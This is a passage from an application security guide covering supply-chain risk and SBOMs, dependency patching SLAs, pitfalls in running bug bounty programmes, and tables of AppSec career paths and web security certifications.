The average Node.js application has hundreds of transitive dependencies — packages that your packages depend on. Each one is a potential supply chain attack vector. The Log4Shell vulnerability (CVE-2021-44228) was in a transitive dependency; many organisations didn't know they were running Log4j until they needed to patch it.
- Generate a Software Bill of Materials (SBOM) — a machine-readable inventory of every dependency and version. SPDX and CycloneDX are the standard formats. Required by US Executive Order 14028 for software sold to the federal government.
- Automated dependency scanning via Dependabot (GitHub) or Snyk automatically opens pull requests when new CVEs are found in your dependencies.
- Pin dependency versions in production — don't use version ranges that automatically pull in new minor versions, which may introduce vulnerabilities.
- Define SLAs for dependency patching: Critical CVEs within 24 hours; High within 7 days; Medium within 30 days.
Bug Bounty Programmes — The Developer Perspective
Running a bug bounty programme requires as much care as having one. Common programme failures that frustrate researchers and damage relationships:
- Scope that excludes where the vulnerabilities are — if your mobile app is out of scope and that's where the critical IDOR is, researchers will be frustrated and the vulnerability will go unreported or be disclosed publicly.
- Slow response times — researchers expect acknowledgment within 48 hours and triage within 7 days. Programmes that take weeks to respond lose researcher trust.
- Inconsistent severity ratings — downgrading BOLA/IDOR findings to "informational" because "you need to be authenticated" misunderstands the vulnerability. Research platforms publish ratings; consistent under-rating damages programme reputation.
- No communication during remediation — researchers who report a critical vulnerability want to know when it's fixed. Regular updates maintain trust.
AppSec Career Paths
| Role | Day-to-Day | Skills | Path To |
|---|---|---|---|
| Application Security Engineer | Security reviews, SAST/DAST tooling, developer training, vulnerability management | Code review, web vulnerabilities, SDL, dev tools integration | Product Security Lead, AppSec Manager |
| Product Security Engineer | Security design reviews, bug triage, security features, vulnerability disclosure | Threat modelling, cryptography, auth design, API security | Staff/Principal Security Engineer, CISO track |
| Bug Bounty Hunter | Finding vulnerabilities in target programmes, writing reports, coordinating disclosure | Manual testing, web/mobile/API, report writing | Full-time researcher, AppSec consultant |
| AppSec Consultant | Penetration tests of web applications, code reviews, SDL assessments | All of the above + client management, report writing | Principal consultant, practice lead, boutique firm |
| DevSecOps Engineer | Pipeline security tooling, IaC security, secrets management, developer enablement | CI/CD, IaC, SAST/SCA integration, cloud security | Platform security, security architecture |
Certifications
| Cert | Body | Focus | Value |
|---|---|---|---|
| BSCP | PortSwigger | Burp Suite Certified Practitioner — practical exam on the PortSwigger academy platform | Excellent — directly tied to the best free web security learning resource |
| GWEB | GIAC/SANS | Web Application Penetration Tester — broad web testing coverage | High — GIAC certs are well-respected; expensive |
| OSWE | Offensive Security | Web Expert — white-box web app testing, source code review, chaining vulnerabilities | Very high — practical, difficult, highly respected |
| eWPT | eLearnSecurity | Web Application Penetration Tester — practical exam, affordable | Good entry-level web testing credential |
| CSSLP | ISC² | Certified Secure Software Lifecycle Professional — SDLC focus | Good for AppSec engineers and developers; management track |
- Security code review has specific high-value search patterns — database queries, HTML output, shell commands, file operations, HTTP clients — grep for each in every codebase
- SBOM generation is becoming a regulatory requirement — every organisation should know every dependency it runs in production
- PortSwigger Web Security Academy + BSCP certification is the highest-value free-to-low-cost web security learning path available
- Bug bounty programme quality is judged by scope breadth, response time, and consistent fair severity ratings — poor programmes lose researcher participation and real bugs go unreported
- AppSec is one of the few security specialisations where developer background is a genuine advantage — understanding how code is written makes security review faster and more effective